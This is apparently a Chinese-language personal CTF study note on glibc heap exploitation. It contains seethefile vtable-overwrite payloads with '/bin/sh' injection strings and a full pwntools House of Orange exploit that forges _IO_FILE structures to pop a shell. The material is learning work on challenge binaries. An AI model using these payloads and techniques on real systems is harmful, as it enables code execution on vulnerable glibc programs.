源码调试

要下载源码得先把sources.list的deb-src开头的注释去掉,更新一下

1
2
sudo apt-get update 
sudo apt-get upgrade

下载源码

1
sudo apt-get source libc6-dev

会报这么一个错,但是不影响用,暂且不管。

1
W: Can't drop privileges for downloading as file 'glibc_2.23-0ubuntu11.dsc' couldn't be accessed by user '_apt'. - pkgAcquire::Run (13: Permission denied)

在gdb里运行:

1
directory ~/glibc/glibc-2.23/malloc/

seethefile-pwnable

这道题目解法就是改虚表。

尚未解决的问题:fd怎么构造?

网上有两种构造方法

法一:fp的前两个字节+/bin/sh //fp的前两个字节有太重要的作用,建议不要动,

1
'\x86\xb4\xad\xfb'+'||/bin/sh'

但是我这个fd的前俩字节是’\x88\x24\xad\xfb’,我改成我自己的前俩字节,就跑不通了。

法二:????啥???居然能跑通

1
'\xff\xff\xff\xff;$0\x00'

遇到一个很傻的问题

远程给的maps

本地maps

网上说 /proc/self/maps 可以看libc基址,但是我的为什么不显示?因为我目录深,而程序每次只读0x18f个字节,读两次就能读到libc基址了。

困扰我好久,可能我傻吧

orange

打印结构体的偏移

1
2
p &((struct _IO_FILE_plus*)0)->vtable
p &((struct _IO_FILE*)0)->_chain

打印结构体内容

1
p *_IO_list_all

_IO_FILE相关知识积累

1
2
3
4
5
1)       在malloc出错时,会调用malloc_printerr函数来输出错误信息
2) malloc_printerr又会调用__libc_message
3) __libc_message又调用abort
4) abort则又调用了_IO_flush_all_lockp
5) 最后_IO_flush_all_lockp中会调用到vtable中的_IO_OVERFLOW函数

_IO_flush_all_lockp源码如下

题目

build次数共4次,大小限制在0x1000;upgrade共3次,无长度限制溢出,只能更新最近一次build的;有see;无free。

利用

  1. 泄露libc;泄露堆地址:申请largebin大小的块,fd_nextsizebk_nextsize残留在块里,因为目前largebin只有一个,所以都指向自己。
  2. unsorted_bin_attack,改_IO_list_allmain_arena+0x58(unsortedbinmain_arena+0x68)
  3. _IO_file->_chain的偏移是0x68,main_arena+0x58small[0x60]的偏移是0x68,所以把块放到small[0x60]就相当于完全获得了一个_IO_FILE

  1. 构造_IO_FILE,需要满足下面条件:

1)

1
fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

或者

1
2
3
_IO_vtable_offset (fp) == 0 
&& fp->_mode > 0
&& (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

2)vtable->_IO_OVERFLOW要指向system/gadget,指向system的话还要再构造fp开头是'/bin/sh\x00'

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
from pwn import *
debug=1
context.log_level = 'debug'
if debug:
io = process('./houseoforange')
else:
io = remote("",1234)
elf = ELF('./houseoforange')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s = lambda data :io.send(data)
sa = lambda data1,data :io.sendafter(data1, data)
sl = lambda data :io.sendline(data)
sla = lambda data1,data :io.sendlineafter(data1, data)
r = lambda numb=4096 :io.recv(numb)
ru = lambda data1, drop=True :io.recvuntil(data1, drop)

def build(length,name,price,color): #4
ru(b'Your choice : ') #malloc(0x10)
sl('1')
ru(b'Length of name :') #>0x1000 ->0x1000 malloc(length)
sl(str(length))
ru(b'Name :')
s(name)
ru(b'Price of Orange:') #calloc(0x8)
sl(price)
ru(b'Color of Orange:')
sl(color)

def see():
ru(b'Your choice : ')
sl('2')
ru(b'Name of house : ')
hi= ru('\n')
ru(b'House of Orange')
return hi

def upg(length,name,price,color): #3
ru(b'Your choice : ')
sl('3')
ru(b'Length of name :')
sl(str(length))
ru(b'Name:')
s(name)#bytes.decode(name,"unicode-escape"))

ru(b'Price of Orange:')
sl(price)
ru(b'Color of Orange:')
sl(color)



build(12,'123','1','1')

c=p64(0x11111111)*3+p64(0x21)+p32(0x1)+p32(0x1f)+p64(0x0)#info

payload=c+p64(0x0)
payload+=p64(0xfa1)

upg(str(len(payload)),payload,'1','1')
build(0x1000,'123','1','1')

#leak libc
build(0x400,'11111111','1','1')
libc.address=u64((see()[8:]).ljust(8,b'\x00'))-3953032
print(hex(libc.address))
print(hex(libc.symbols['_IO_list_all']))

#leak heap
payload='1'*16
upg(str(len(payload)),payload,'1','1')
heapbase=u64((see()[16:]).ljust(8,b'\x00'))-0xc0
print(hex(heapbase))

#orange
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
c=p64(0)*3
c+=p64(libc.address+onegadgets[3]) #vtable
c=c.ljust(0x408,b'\x00')
c+=p64(0x21)+p32(0x1)+p32(0x1f)+p64(0x0)#info

iofile=p64(0x0)#b'/bin/sh\x00' #IOfile / fd
iofile+=p64(0x61) #offset(_IO_file->_chain)=0x68 (small[0x60]-main_arena+0x58)=0x68
iofile+=p64(libc.address)
iofile+=p64(libc.symbols['_IO_list_all']-0x10)#set _IO_list_all main_arena+0x58
iofile=iofile.ljust(0x20,b'\x00')
iofile+=p64(0)#_IO_file->_IO_write_base
iofile+=p64(1)#_IO_file->_IO_write_ptr
iofile=iofile.ljust(0xc0,b'\x00')
iofile+=p64(0xffffffffffffffff)#_IO_file->mode
iofile=iofile.ljust(0xd8,b'\x00')
iofile+=p64(heapbase+0xd0)#_IO_file->vtable
payload=c+iofile
upg(str(len(payload)),payload,'1','1')

#getshell
ru(b'Your choice : ') #malloc(0x10)
sl('1')

io.interactive()

改进

大佬写的IOFILE构造脚本,因为python3的bytes&str问题我照抄着加了下面的bytes函数。

1
2
3
4
5
6
7
8
9
def __bytes__(self):
fake_file = b""
with context.local(arch=self.arch):
for item_offset in sorted(self.item_offset):
if len(fake_file) < item_offset:
fake_file += b"\x00"*(item_offset - len(fake_file))
fake_file += pack(self[_IO_FILE_plus[self.arch][item_offset]],word_size='all')
fake_file += b"\x00"*(self.size - len(fake_file))
return fake_file

exp变得清晰多了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#orange
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
c=p64(0)*3
c+=p64(libc.address+onegadgets[3]) #vtable
c=c.ljust(0x408,b'\x00')
c+=p64(0x21)+p32(0x1)+p32(0x1f)+p64(0x0)#info
from FILE import *
context.arch = 'amd64'
iofile = IO_FILE_plus_struct()
iofile._flags = u64('/bin/sh\x00')
iofile._IO_read_ptr=0x61
iofile._IO_read_base=libc.symbols['_IO_list_all']-0x10
iofile._IO_write_base=0
iofile._IO_write_ptr=1
iofile._mode=0
iofile.vtable=heapbase+0xd0
payload=c+bytes(iofile)
upg(str(len(payload)),payload,'1','1')

改进2

1
2
3
4
5
6
7
def house_of_orange(head_addr, system_addr, io_list_all):
payload = b'/bin/sh\x00'
payload = payload + p64(0x61) + p64(0) + p64(io_list_all - 16)
payload = payload + p64(0) + p64(1) + p64(0) * 9 + p64(system_addr) + p64(0) * 4
payload = payload + p64(head_addr + 18 * 8) + p64(2) + p64(3) + p64(0) + \
p64(0xffffffffffffffff) + p64(0) * 2 + p64(head_addr + 12 * 8)
return payload

python3

str encode转化为 bytes
bytes decode转化为 str

错误的源码阅读记录

不能这么读,引以为戒。。

要分配一个unsortedbin时要经过check_malloced_chunk检查。函数定义如下,可以看到

1.do_check_remalloced_chunk

2.assert PREV_INUSE位必须为1。

1
#define check_malloced_chunk(A, P, N) do_check_malloced_chunk(A, P, N)

do_check_remalloced_chunk检查下面这些个

1.arena相关的检查

2.do_check_inuse_chunk

其中do_check_inuse_chunk定义如下,

1.assert p 要inuse

2.如果prev_chunk没被使用(PREV_INUSE位为0),将会:

​ 1.assert prev_chunk的next_chunk是不是p

​ 2.进入do_check_free_chunk

3.如果next_chunk是top就。。

4.如果next_chunk没被使用(非inuse)就 进入do_check_free_chunk

do_check_free_chunk定义如下。

1.do_check_chunk

2.assert p 要inuse

2.assert p IS_MMAPPED位为0

1
2
3
#define PREV_INUSE 0x1
#define IS_MMAPPED 0x2
#define NON_MAIN_ARENA 0x4